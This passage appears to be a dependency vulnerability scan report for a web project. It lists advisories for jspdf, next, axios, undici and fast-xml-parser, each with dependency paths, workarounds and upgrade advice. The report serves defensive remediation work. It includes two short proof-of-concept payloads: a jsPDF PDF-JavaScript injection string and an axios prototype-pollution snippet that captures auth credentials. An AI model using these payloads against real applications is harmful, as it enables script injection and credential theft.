This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.

PoC

import { jsPDF } from "jspdf"
const doc = new jsPDF();

const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);

const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";

doc.save("test.pdf");

Remediation

Upgrade jspdf to version 4.2.0 or higher.

References

high severity

Authentication Bypass Using an Alternate Path or Channel

  • Vulnerable module: next
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via dynamic full-route RSC requests in the deployment adapter. An attacker can gain unauthorized access to protected content by injecting a URL with query params that got misclassified by the onCacheEntryV2 callback as HTML, bypassing expected authorization checks.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: next
  • Introduced through: next@15.2.6

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.4.2.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the resolve-routes. An attacker can access internal resources and potentially exfiltrate sensitive information by crafting requests containing user-controlled headers (e.g., Location) that are forwarded or interpreted without validation.

Note: This is only exploitable if custom middleware logic is implemented in a self-hosted deployment. The project maintainers recommend using the documented NextResponse.next({request}) to explicitly pass the request object.

Remediation

Upgrade next to version 14.2.32, 15.4.2-canary.43, 15.4.7 or higher.

References

high severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through createForwardedActionResponse and createRedirectRenderResult in packages/next/src/server/app-render/action-handler.ts. An attacker can make the server send a forwarded Server Action request or internal redirect to a malicious host by supplying Host-associated headers on a custom server deployment. The affected code builds the outbound origin from the incoming request’s host value when __NEXT_PRIVATE_ORIGIN is not set, so a crafted request can steer the server into contacting an attacker-controlled URL. In deployments where the host header is not pinned to a trusted origin, this can also expose internal values used in middleware or proxy authorization decisions.

Notes

  • Managed hosting that pins the incoming host upstream is not in scope for this issue; the vulnerable path is the custom-server/deployment-with-untrusted-host-header case described in the advisory.
  • The __NEXT_PRIVATE_ORIGIN environment variable can override the derived origin in affected versions, so deployments that set it to a fixed real origin avoid the host-header-derived outbound URL.

Workarounds

  • Ensure clients cannot control the Host and X-Forwarded-Host headers your application receives by pinning or validating them at your edge or proxy, which prevents attacker-supplied host-associated headers from steering forwarded Server Actions requests or redirects to a malicious host.
  • On Next.js 14.2.0 and later, set __NEXT_PRIVATE_ORIGIN to your deployment’s real origin, for example __NEXT_PRIVATE_ORIGIN=https://www.example.com node server.js, which prevents the server from deriving the outbound origin from request headers.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

high severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.21.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the prepareDestination rewrite/redirect handling in packages/next/src/shared/lib/router/utils/prepare-destination.ts. An attacker can make the application proxy a request to an arbitrary hostname by supplying crafted path or query values that are substituted into an external rewrites() or redirects() destination hostname. When a destination hostname is built from request-controlled input, Next.js accepts the attacker-chosen host instead of the configured suffix, causing rewrites to fetch and serve content from the attacker’s target host and redirects to send users there. This can expose internal services to SSRF or send users to unintended destinations.

Workarounds

  • Do not build the hostname of an external rewrites() or redirects() destination from user-controlled input.
  • If you must use a dynamic subdomain in a rewrites() rule, constrain the capture to hostname-safe characters, for example value: '(?<region>[a-z0-9-]+)'.

Remediation

Upgrade next to version 15.5.21, 16.2.11 or higher.

References

high severity

Permissive List of Allowed Inputs

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the Set-Cookie attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests.

Note: This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.

Workaround

This vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

high severity

Improper Validation of Specified Quantity in Input

  • Vulnerable module: fast-xml-parser
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-flexible-checksums@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/signature-v4-multi-region@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
